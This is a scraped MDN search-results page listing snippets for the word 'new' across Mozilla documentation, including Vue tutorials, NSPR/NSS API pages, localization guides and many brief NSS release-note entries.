...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Using Vue computed properties - Learn web development
in app.vue, add a new method called updatedonestatus(), below your addtodo() method.
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Creating our first Vue component - Learn web development
in your moz-todo-vue/src/components directory, create a new file named todoitem.vue.
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Learn web development
what's new?
...we'd like to hear from you about anything you think is wrong or missing on the site, requests for new learning topics, requests for help with items you don't understand, or any other questions or concerns.
ChromeWorkers and the Chrome worker loader
note: if you're contributing content to this section, create subpages using the "new sub-page" option in the "this page" menu.
... once you've saved your new page, come back to this one and force-refresh this page.
Accessibility Information for Core Gecko Developers
newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
... purpose newsgroup mailing list google group developer discussion mozilla.dev.accessibility subscribe/unsubscribe google group end user support mozilla.support.accessibility subscribe/unsubscribe google group ...
Accessibility information for UI designers and developers
newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
... purpose newsgroup mailing list google group developer discussion mozilla.dev.accessibility subscribe/unsubscribe google group end user support mozilla.support.accessibility subscribe/unsubscribe google group ...
Information for Assistive Technology Vendors
newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
... purpose newsgroup mailing list google group developer discussion mozilla.dev.accessibility subscribe/unsubscribe google group end user support mozilla.support.accessibility subscribe/unsubscribe google group ...
Information for users
newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
... purpose newsgroup mailing list google group developer discussion mozilla.dev.accessibility subscribe/unsubscribe google group end user support mozilla.support.accessibility subscribe/unsubscribe google group ...
Mozilla Plugin Accessibility
here is a rundown of problems and the planned solutions: new!
...the new plugin api will allow plugins to bubble unused keypresses to the browser.
Multiprocess on Windows
note: if your new interface does not contain either of these annotations, then you do not need to worry about this step.
...use the mozilla::mscom::to*uniqueptr functions in ipc/mscom/ptr.h to create new instances of these.
Accessible Toolkit Checklist
the work when implementing a new toolkit it's important to: implement standard keyboard behavior, which can vary from platform to platform.
...eader won't read the text make sure the caret is never blinking when focus is not in text field handle standard editing keys, such as arrow keys, home, end, pageup, pagedown, ctrl+left/right, shifted keys for selection, delete, ctrl+delete, backspace, ctrl+backspace, ctrl+a, ctrl+b, ctrl+c, ctrl+i, ctrl+u, ctrl+x, ctrl+v, ctrl+[shift]+z in multiline text field, enter key inserts new line (thus default button no longer shows dark border when multiline text field is focused) in autocomplete text fields, make sure the autocomplete popup doesn't receive actual or msaa focus unless an up/down arrow is pressed, and don't use the default system highlight color in the list itself unless it really has focus in autocomplete text fields, make sure that the delete or backspa...
Adding phishing protection data providers
installing a new data provider to install a data provider for phishing protection, it's necessary to set a series of preferences to provide details about the provider.
...when installing a new provider, you should use the next unused number.
Android-specific test suites
disabling one failing test in general, it's not sensible to allow new java code to land that findbugs detects issues with.
... disabling one failing test in general, it's not sensible to allow new java code to land that lint detects issues with.
Choosing the right memory allocator
allocating strings in xpcom code see "callee-allocated parameters" in the xpcom strings guide; use tonewcstring() or tonewunicode() to allocate strings that will be passed out.
... pr_alloc() (do not use, no users and only exists in /security/; use pr_malloc() instead) pr_malloc() == pr_malloc pr_calloc() == pr_calloc pr_realloc() == pr_realloc pr_free() pr_new (pass in a struct to allocate its size) pr_newzap (same as pr_new, but zeros memory) pr_delete (pr_free() and also clears the pointer) pr_freeif special cases pr_smprintf(), pr_sprintf_append(), pr_vsmprintf() and pr_vsprintf_append() must be freed with pr_smprintf_free() pl_strdup(), pl_strndup() must be freed with pl_strfree() nscrt::strdup/nscrt::strndup must be freed with n...
Chrome registration
in order to allow for this, the chrome registration manifest allows for "override" instructions: override chrome://package/type/original-uri.whatever new-resolved-uri [flags] note: overrides are not recursive (so overriding chrome://foo/content/bar/ with file:///home/john/blah/ will not usually do what you want or expect it to do).
... note: there was a bug in gecko 1.8.1.5 (firefox 2.0.0.5) and earlier where you could not use a relative url for the new-resolved-uri parameter.
Cookies Preferences in Mozilla
k.cookie.maxnumber default value: 1000 configures the maximum amount of cookies to be stored valid range is from 0-65535, rfc 2109 and 2965 require this to be at least 300 network.cookie.maxperhost default value: 50 configures the maximum amount of cookies to be stored per host valid range is from 0-65535, rfc 2109 and 2965 require this to be at least 20 network.cookie.disablecookieformailnews default value: true true = do not accept any cookies from within mailnews or from mail-style uris false = allow cookies in these situations this preference is applicable to all versions of seamonkey.
... new in thunderbird 3 this preference is applicable to thunderbird 3 and later.
Creating a Language Pack
it's now time to create a langpack with: $ make langpack-x-testing locale_mergedir=$(pwd)/mergedir each time you need to generate a new langpack, you need to run this command.
... each time you want to generate a new binary (often called a "repack"), you need to run these two commands.
Debugging JavaScript
use \n to output a newline at the end.
...in about:config (add new pref, it doesn't exist per default).
Debugging on Windows
for each dll, click the "new" button which creates a new entry and then hit the "..." buttons which lets you browse to the dll.
...it works when you have js_interpret() in the newest stackframe debugging minidumps see debugging a minidump.
Old Thunderbird build
for thunderbird 60 and later, see the new build instructions.
...you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite).
Obsolete Build Caveats and Tips
these tips, while helpful, are jarring and superfluous to the majority of new mozilla builders who are mainly interested in building the latest version of firefox.
...you need to upgrade to one of the newer visual c++ versions above.
Working with Mozilla source code
bugs for newcomers if you are new to the project and want something to work on, look here.
... svg cleanup guide guidelines and best practices for shipping new svgs.
Firefox and the "about" protocol
s to the firefox project about:debugging switches to the developer tools debugging page, which allows you to debug add-ons, tabs and service workers about:devtools summarizes the developer tools and provides links to documentation for each tool about:downloads displays all downloads done within firefox about:home start page of firefox when opening a new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc about:mozilla special page showing a message from "the book of mozilla" about:networking displays networking information about:newtab start page when opening ...
...a new tab about:performance displays memory and performance information about firefox subprocesses/add-ons/tabs about:plugins displays information about installed plugins about:policies lists out the firefox for enterprise policies about:preferences firefox settings (also available through firefox menu > options) about:privatebrowsing start page when opening a private window about:profiles display and manage firefox profiles about:protections privacy protections report consisting of enhanced tracking protection, firefox monitor and firefox lockwise data about:restartrequired a page users are sent to when firefox requires a restart due to an update about:reader indicates a web page has f...
Firefox UI considerations for web developers
one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
... how an icon is selected the new tab page chooses icons to use for top sites by trying a series of methods until it obtains an icon to use: a global "top sites" list is checked.
mozbrowsermanifestchange
details the details property returns an anonymous javascript object with the following properties: href the url of the new app manifest.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsermanifestchange", function(event) { console.log("new manifest url: " + event.details.href); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
ChromeWorker
addons that wish to use file:// urls must first register a resource replacement path, using code like this: var fileuri = services.io.newfileuri(file); services.io.getprotocolhandler('resource').
... setsubstitution('my-cool-addon', fileuri); var worker = new worker('resource://my-cool-addon/worker.js'); more references: you can use chromeworker from javascript code modules.
MozBeforePaint
gecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.
...this new property indicates the time, in milliseconds since epoch, at which all animations started in the specified window during the current refresh interval should be considered to have started running.
Roll your own browser: An embedding how-to
you should instead build xulrunner and use it for all new embedding.
...(news release, screenshot) mozilla examples gtkmozembed widget: gtk widget wrapper for the mozilla gecko engine.
Embedding Mozilla
you can even construct whole new applications using chrome.
... mailing list newsgroup rss feed #embedding irc channel related topics gecko, xpcom ...
IPDL Best Practices
there a range of mistakes that authors of new sub-protocols frequently make.
...e-shot protocols like this) actor::recv__delete__ - cleanup, ipdl calls still valid but ill-advised actor::actordestroy - non-ipdl cleanup manager::deallocpprotocol - deallocation one construct to avoid: class protocolparent { public: ~protocolparent() { send__delete__(this); } }; class protocolmanagerparent { public: pprotocolparent* allocpprotocol() { return new protocolparent(); } bool deallocpprotocol() { return true; } }; nsautoptr<pprotocolparent> parent = manager->sendpprotocolconstructor(); while this may look appealing as the ipdl logic is stuffed away in a sensible place, it breaks under error conditions.
Extending a Protocol
implementing methods on windowglobalparent.cpp open up dom/ipc/windowglobalparent.cpp and let's implement: allocpechoparent() deallocpechoparent(pechoparent* aactor) so, let's add: already_addrefed<echoparent> windowglobalparent::allocpechoparent() { puts("windowglobalparent::allocpechoparent was called"); refptr<echoparent> actor = new echoparent(); return actor.forget(); } bool windowglobalparent::deallocpechoparent( pechoparent* aactor) { refptr actor = dont_addref(static_cast(aactor)); return true; } the "puts()" there will help us see what's going on once we get things going.
... open up dom/ipc/windowglobalchild.cpp and let's implement: allocpechochild() deallocpechochild(pechochild* aactor) already_addrefed<echochild> windowglobalchild::allocpechochild() { refptr<echochild> actor = new echochild(); return actor.forget(); } bool windowglobalchild::deallocpechochild(pechochild* actor) { delete actor; return true; } and now finally, let's implement echochild.cpp and echoparent.cpp.
DownloadList
add() adds a new download to the end of the items list.
...the newly added view will receive ondownloadadded notifications for all the downloads that are already in the list.
FileUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/fileutils.jsm"); the file constructor if you have a path to a file (or directory) you want to obtain an nsifile for, you can do so using the file constructor, like this: var f = new fileutils.file(mypath); method overview nsifile getfile(string key, array patharray, bool followlinks); nsifile getdir(string key, array patharray, bool shouldcreate, bool followlinks); nsifileoutputstream openfileoutputstream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutputstre...
...instead use the file constructor, so simply: var dir = new fileutils.file('c:\\blah\\blah'); if (dir.exists()) { //yes directory exists } openfileoutputstream() opens a file output stream for writing.
PerfMeasurement.jsm
constructor creates a new perfmeasurement object, configured to record the specified event types.
... return value a new perfmeasurement object configured to record the specified event types.
Deferred
a deferred object is returned by the promiseutils.defer() method to provide a new promise along with methods to change its state.
... method overview void resolve([optional] avalue); void reject([optional] areason); properties attribute type description promise read only promise a newly created promise, initially in the pending state.
PromiseUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promiseutils.jsm"); method overview deferred defer(); methods defer() creates a new pending promise and provides methods to resolve or reject this promise.
... return value a new object, containing the new promise in the promise property, and the methods to change its state in the resolve and reject properties.
WebChannel.jsm
examples setting up a webchannel between chrome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in content code window.addeventlistener("webchannelmessagetocontent", function(e) {...
... // receive messages console.log(e.detail); }, true); send messages to an existing webchannel in chrome code window.dispatchevent(new window.customevent("webchannelmessagetochrome", { detail: { id: webchannelid, message: { something: true } } })); ...
Index
3 bootstrapping a new locale localization, mercurial, translate, bit bucket (see also https://developer.mozilla.org/en/create_a_new_localization) 4 encodings for localization files internationalization, localization when creating a localization for mozilla products, it’s important to be aware of the encoding of the files that you generate.
... 27 localizing without a specialized tool from the create a new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code.
Localizing extension descriptions
because a new method for doing so was implemented in gecko 1.9 (firefox 3), there are two sets of instructions below.
... localizing in gecko 1.9 gecko 1.9 includes a new, more robust method for localizing add-on descriptions and other metadata.
Localization quick start guide
note: this guide is written for two types of contributors: those starting a new localization and those joining an existing localization.
...to help you filter through to the most applicable information, note that all information that is unique to those starting a new localization will be in orange font.
Uplifting a localization from Central to Aurora
let's pretend it's at releases/l10n-mozilla-aurora/ab-cd here's how we do it: # set up a new local clone of your central repo hg clone l10n-central/ab-cd workrepo cd workrepo # pull in the changesets you have on aurora hg pull -r default ../releases/l10n/mozilla-aurora/ab-cd now, there are two routes forward: 1) things are pretty silent.
... 2) new heads, you need to merge.
Creating localizable web applications
bad: require_once('lib/user.php'); $user = new personauser(); snippet 2.
...if you do, if the static uri changes, you'll have to regenerate the *.po files to include the new msgids.
Writing localizable code
the addition of new top-level directories is a compromise between module ownership in the cvsroot repository and the ease of localization.
... any changed or new use of existing localized strings; anything that triggers a qa cycle on our 40+ localizations is l10n-impact.
Mozilla Development Strategies
you'll need this one for regressions that require your immediate attention (a new crasher, a blocker, or problem in your area, for example).
... for c++, use #define, #ifdef, #else and #endif for xul / js, and you're doing something major, add your new files to the tree and then have it be a simple jar.mn patch to enable it.
Are We Slim Yet
as new processes are added to firefox we want to make sure their memory usage is also tracked by awsy.
... to this end we request that memory reporting be integrated into any new process before it is enabled on nightly.
Scroll-linked effects
the proposals currently under consideration are: web animations: a new api for precisely controlling web animations in javascript, with an additional proposal to map scroll position to time and use that as a timeline for the animation.
... scroll customization: introduces a new api for content to dictate how a scroll delta is applied and consumed.
TraceMalloc
tracemalloc captures stack traces of all malloc, calloc , realloc, and free calls (this currently covers all operator new and delete calls in mozilla, too).
... tracemallocopenlogfile(filename) - open a new log file and return its log file descriptor (or -1 on error).
Performance
adding a new telemetry probe information on how to add a new measurement to the telemetry performance-reporting system profiling javascript with shark (obsolete - replaced by instruments) how to use the mac os x shark profiler to profile javascript code in firefox 3.5 or later.
...it should be the starting point for anybody new to power profiling.
Patches and pushes
in list.txt, add the search plugin's xml filename (without extensions) on a new line and save.
...also, no new patch attachment will be needed.
Research and prep
if this is your first localization for a product, the l10n drivers will file this bug as part of the new product localization release process.
... e-commerce search these search engines should allow users to get connected to new and used products they want to buy as quickly and painlessly as possible in a "trusted" site -- for example, choosing the most popular auction, general shopping, or classified type sites that have the desired user experience are good choices.
L20n HTML Bindings
<script type="application/l10n-data+json"> { "newnotifications": 3, "user": { "name": "jane", "gender": "feminine" } } </script> this data will be available context-wide to all localized strings.
... the monolingual mode may be useful when you first start a new project, when you want to test something quickly or when using server-side language negotiation.
Optimizing Applications For NSPR
also, the new socket created by an <tt>pr_accept()</tt> call on a listening socket inherits the mode of the listening socket, and cannot be changed.
... irix the irix (classic) implementation has a known race condition in creating new threads.
Logging
log types and variables two types supporting nspr logging are exposed in the api: prlogmoduleinfo prlogmodulelevel two environment variables control the behavior of logging at execution time: nspr_log_modules nspr_log_file logging functions and macros the functions and macros for logging are: pr_newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr_log_test pr_log pr_assert pr_assert pr_static_assert (new in nspr 4.6.6xxx this hasn't been released yet; the number is a logical guess) pr_not_reached use example the following sample code fragment demonstrates use of the logging and debugging aids.
... before running the compiled program, set the environment variable nspr_log_modules to userstuff:5 static void userlogstuff( void ) { prlogmoduleinfo *mylm; printn i; pr_static_assert(5 > 4); /* nspr 4.6.6 or newer */ mylm = pr_newlogmodule( "userstuff" ); pr_assert( mylm ); pr_log( mylm, pr_log_notice, ("log a notice %d\n", 999 )); for (i = 0; i < 10 ; i++ ) { pr_log( mylm, pr_log_debug, ("log debug number: %d\n", i)); pr_sleep( 500 ); } pr_log( mylm, pr_log_notice, "that's all folks\n"); } /* end userlogstuff() */ see also nspr logging reference ...
Monitors
monitor type with the exception of pr_newmonitor, which creates a new monitor object, all monitor functions require a pointer to an opaque object of type prmonitor.
... pr_newmonitor creates a new monitor.
NSPR Error Handling
pr_file_exists_error attempt to create or rename a file when the new name is already being used.
... pr_max_directory_entries_error attempt to add new filename to directory would exceed the limit allowed.
PRProcessAttr
represents the attributes of a new process.
...pass a pointer to a prprocessattr into pr_createprocess when you create a new process, specifying information such as standard input/output redirection and file descriptor inheritance.
PR_AtomicSet
syntax #include <pratom.h> print32 pr_atomicset( print32 *val, print32 newval); parameters the function has the following parameter: val a pointer to the value to be set.
... newval the new value to assign to the val parameter.
PR_MkDir
mode the access permission bits of the file mode of the new directory if the file is created when pr_create_file is on.
... description pr_mkdir creates a new directory with the pathname name.
PR_OpenSharedMemory
opens an existing shared memory segment or, if one with the specified name doesn't exist, creates a new one.
... description pr_opensharedmemory creates a new shared memory segment or associates a previously created memory segment with the specified name.
PR_SetThreadPrivate
description if the thread already has non-null private data associated with it, and if the destructor function for the index is known (not null), nspr calls the destructor function associated with the index before setting the new data value.
...on return, the private data associated with the index is reassigned the new private data's value, even if it is null.
Getting Started With NSS
you can find us on mozilla irc in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsgroup.
... a new set of samples is currently under development and review, see create new nss samples.
JSS
MozillaProjectsNSSJSS
while jdk 1.4.2 is eol'd and all new product development should be using the latest javase, legacy business products that must use jdk 1.4 or 1.5 can continue to add nss/jss security fixes/enhancements.
... mailing list newsgroup rss feed related topics security ...
JSS 4.4.0 Release Notes
jss 4.4.0 requires netswork security services (nss) 3.29.1 and netscape portable runtime (nspr) 4.13.1 or newer.
... jss 4.4.0 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/jss/releases/jss_4_4_0_rtm/src/ new in jss 4.40 new functionality new functions new macros notable changes in jss 4.40 picks up work done downstream for fedora and rhel and used by various linux distributions with includes:.
NSS 3.14.4 release notes
nss 3.14.4 requires nspr 4.9.5 or newer.
... new in nss 3.14.4 new functionality no new major functionality is introduced in this release.
NSS 3.14.5 release notes
nss 3.14.5 requires nspr 4.9.5 or newer.
... bug 934016 - (cve-2013-5605) handle invalid handshake packets new in nss 3.14.5 new functionality no new major functionality is introduced in this release.
NSS 3.15.3.1 release notes
nss 3.15.3.1 requires nspr 4.10.2 or newer.
... bug 946351 - misissued google certificates from dcssi new in nss 3.15.3.1 new functionality no new major functionality is introduced in this release.
NSS 3.15.3 release notes
nss 3.15.3 requires nspr 4.10.2 or newer.
... bug 925100 - (cve-2013-1741) ensure a size is <= half of the maximum pruint32 value bug 934016 - (cve-2013-5605) handle invalid handshake packets bug 910438 - (cve-2013-5606) return the correct result in cert_verifycert on failure, if a verifylog isn't used new in nss 3.15.3 new functionality no new major functionality is introduced in this release.
NSS 3.16.2.2 release notes
nss 3.16.2.2 requires nspr 4.10.6 or newer.
... nss 3.16.2.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_2_rtm/src/ new in nss 3.16.2.2 new functionality no new functionality is introduced in this release.
NSS 3.16.4 release notes
nss 3.16.4 requires nspr 4.10.6 or newer.
... nss 3.16.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_4_rtm/src/ new in nss 3.16.4 this release consists primarily of ca certificate changes as listed below, and includes a small number of bug fixes.
NSS 3.16.6 release notes
nss 3.16.6 requires nspr 4.10.6 or newer.
... nss 3.16.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_6_rtm/src/ new in nss 3.16.6 new functionality no new functionality is introduced in this release.
NSS 3.17.2 release notes
nss 3.17.2 requires nspr 4.10.7 or newer.
... nss 3.17.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_2_rtm/src/ new in nss 3.17.2 new functionality no new functionality is introduced in this release.
NSS 3.17.3 release notes
nss 3.17.3 requires nspr 4.10.7 or newer.
... nss 3.17.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_3_rtm/src/ new in nss 3.17.3 new functionality support for tls_fallback_scsv has been added to the ssltap and tstclnt utilities.
NSS 3.18.1 release notes
nss 3.18.1 requires nspr 4.10.8 or newer.
... nss 3.18.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_1_rtm/src/ new in nss 3.18.1 no new functionality is introduced in this release.
NSS 3.19.1 release notes
nss 3.19.1 requires nspr 4.10.8 or newer.
... new in nss 3.19.1 new functionality no new functionality is introduced in this release.
NSS 3.19.2.1 release notes
nss 3.19.2.1 requires nspr 4.10.10 or newer.
... new in nss 3.19.2.1 new functionality no new functionality is introduced in this release.
NSS 3.19.2.2 release notes
nss 3.19.2.2 requires nspr 4.10.10 or newer.
... new in nss 3.19.2.2 new functionality no new functionality is introduced in this release.
NSS 3.19.2.3 release notes
nss 3.19.2.3 requires nspr 4.10.10 or newer.
... nss 3.19.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_3_rtm/src/ new in nss 3.19.2.3 new functionality no new functionality is introduced in this release.
NSS 3.19.2.4 release notes
nss 3.19.2.4 requires nspr 4.10.10 or newer.
... nss 3.19.2.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_4_rtm/src/ new in nss 3.19.2.4 new functionality no new functionality has been introduced in this release.
NSS 3.19.2 release notes
nss 3.19.2 requires nspr 4.10.8 or newer.
... nss 3.19.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_rtm/src/ new in nss 3.19.2 new functionality no new functionality is introduced in this release.
NSS 3.19.3 release notes
nss 3.19.3 requires nspr 4.10.8 or newer.
... nss 3.19.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_3_rtm/src/ new in nss 3.19.3 no new functionality is introduced in this release.
NSS 3.19.4 release notes
nss 3.19.4 requires nspr 4.10.10 or newer.
... new in nss 3.19.4 new functionality no new functionality is introduced in this release.
NSS 3.20.1 release notes
nss 3.20.1 requires nspr 4.10.10 or newer.
... new in nss 3.20.1 new functionality no new functionality is introduced in this release.
NSS 3.20.2 release notes
nss 3.20.2 requires nspr 4.10.10 or newer.
... new in nss 3.20.2 new functionality no new functionality is introduced in this release.
NSS 3.21.1 release notes
nss 3.21.1 requires nspr 4.10.10 or newer.
... nss 3.21.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_1_rtm/src/ new in nss 3.21.1 new functionality no new functionality is introduced in this release.
NSS 3.21.2 release notes
nss 3.21.2 requires nspr 4.10.10 or newer.
... nss 3.21.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_2_rtm/src/ new in nss 3.21.2 new functionality no new functionality is introduced in this release.
NSS 3.21.3 release notes
nss 3.21.3 requires nspr 4.10.10 or newer.
... nss 3.21.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_3_rtm/src/ new in nss 3.21.3 new functionality no new functionality is introduced in this release.
NSS 3.21.4 release notes
nss 3.21.4 requires nspr 4.12 or newer.
... nss 3.21.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_4_rtm/src/ new in nss 3.21.4 no new functionality is introduced in this release.
NSS 3.22.1 release notes
nss 3.22.1 requires nspr 4.12 or newer.
... nss 3.22.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_1_rtm/src/ new in nss 3.22.1 new functionality no new functionality is introduced in this release.
NSS 3.22.2 release notes
nss 3.22.2 requires nspr 4.12 or newer.
... nss 3.22.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_2_rtm/src/ new in nss 3.22.2 new functionality no new functionality is introduced in this release.
NSS 3.22.3 release notes
nss 3.22.3 requires nspr 4.12 or newer.
... nss 3.22.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_3_rtm/src/ new in nss 3.22.3 new functionality no new functionality is introduced in this release.
NSS 3.25.1 release notes
nss 3.25.1 requires nspr 4.12 or newer.
... nss 3.25.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_25_1_rtm/src/ new in nss 3.25.1 new functionality no new functionality is introduced in this release.
NSS 3.26.2 release notes
nss 3.26.2 requires nspr 4.12 or newer.
... nss 3.26.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_26_2_rtm/src/ new in nss 3.26.2 new functionality no new functionality is introduced in this release.
NSS 3.26 release notes
nss 3.26 requires netscape portable runtime (nspr) 4.12 or newer.
... nss 3.26 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_26_rtm/src/ new in nss 3.26 new functionality the selfserv test utility has been enhanced to support alpn (http/1.1) and 0-rtt added support for the system-wide crypto policy available on fedora linux, see http://fedoraproject.org/wiki/changes/cryptopolicy introduced build flag nss_disable_libpkix which allows compilation of nss without the libpkix library notable changes in nss 3.26 the following ca certificate was added cn = isrg root x1 sha-256 fingerprint: 96:bc:ec:06:26:49:76:f3:74:60:77:9a:cf:28:c5:a7:cf:e8:a3:c0:aa:e1:1a:8f:fc:ee:05:c0:bd:df:08:c6 npn is disabled...
NSS 3.27.1 release notes
nss 3.27.1 requires nspr 4.13 or newer.
... nss 3.27.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_1_rtm/src/ new in nss 3.27.1 new functionality no new functionality is introduced in this release.
NSS 3.27.2 Release Notes
nss 3.27.2 requires nspr 4.13 or newer.
... nss 3.27.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_2_rtm/src/ new in nss 3.27.2 new functionality no new functionality is introduced in this release.
NSS 3.28.1 release notes
nss 3.28.1 requires nspr 4.13.1 or newer.
... nss 3.28.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_1_rtm/src/ new in nss 3.28.1 no new functionality is introduced in this release.
NSS 3.28.2 release notes
nss 3.28.2 requires nspr 4.13.1 or newer.
... new in nss 3.28.2 no new functionality is introduced in this release.
NSS 3.28.4 release notes
nss 3.28.4 requires nspr 4.13.1 or newer.
... nss 3.28.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_4_rtm/src/ new in nss 3.28.4 no new functionality is introduced in this release.
NSS 3.28.5 release notes
nss 3.28.5 requires nspr 4.13.1 or newer.
... nss 3.28.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_5_rtm/src/ new in nss 3.28.5 no new functionality is introduced in this release.
NSS 3.29.2 release notes
nss 3.29.2 requires netscape portable runtime (nspr) 4.13.1 or newer.
... nss 3.29.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_2_rtm/src/ new in nss 3.29.2 new functionality no new functionality is introduced in this release.
NSS 3.29.3 release notes
nss 3.29.3 requires nspr 4.13.1 or newer.
... nss 3.29.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_3_rtm/src/ new in nss 3.29.3 no new functionality is introduced in this release.
NSS 3.29.5 release notes
nss 3.29.5 requires nspr 4.13.1 or newer.
... nss 3.29.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_5_rtm/src/ new in nss 3.29.5 no new functionality is introduced in this release.
NSS 3.30.1 release notes
nss 3.30.1 requires nspr 4.14 or newer.
... nss 3.30.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_1_rtm/src/ new in nss 3.30.1 no new functionality is introduced in this release.
NSS 3.30.2 release notes
nss 3.30.2 requires nspr 4.14 or newer.
